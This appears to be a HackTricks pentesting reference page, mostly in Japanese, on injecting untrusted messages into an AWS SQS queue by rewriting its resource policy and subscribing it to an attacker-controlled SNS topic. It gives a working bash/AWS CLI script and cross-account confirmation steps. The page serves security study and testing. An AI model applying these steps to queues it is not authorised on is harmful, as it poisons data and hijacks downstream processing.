# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

{{#include ../../../../banners/hacktricks-training.md}}

## 説明

SQSキューのリソースポリシーを悪用して、攻撃者が制御するSNSトピックが被害者のSQSキューにメッセージを送信できるようにします。同一アカウント内では、SNSトピックへのSQSサブスクリプションは自動的に確認されます；クロスアカウントの場合は、キューからSubscriptionConfirmation tokenを読み取り、ConfirmSubscriptionを呼び出す必要があります。これにより、下流のコンシューマが暗黙に信頼してしまう可能性のある、信頼できないメッセージの注入が可能になります。

### 要件
- 対象のSQSキューのリソースポリシーを変更する権限: `sqs:SetQueueAttributes` on the victim queue.
- 攻撃者が制御するSNSトピックを作成/メッセージ公開できる権限: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
- Cross-account only: 被害者キュー上で確認トークンを読み取り、`sns:ConfirmSubscription` を呼び出すための一時的な `sqs:ReceiveMessage` 。

### Same-account exploitation
```bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### アカウント間の注意事項
- 上のキューのポリシーは外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要があります。
- サブスクリプションは自動確認されません。被害者キューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み、その `Token` を使って `sns confirm-subscription` を呼び出してください。

### 影響
**潜在的な影響**: SNS を介して信頼された SQS キューに継続的に望まれないメッセージを注入し、意図しない処理、データ汚染、またはワークフローの悪用を引き起こす可能性があります。

{{#include ../../../../banners/hacktricks-training.md}}
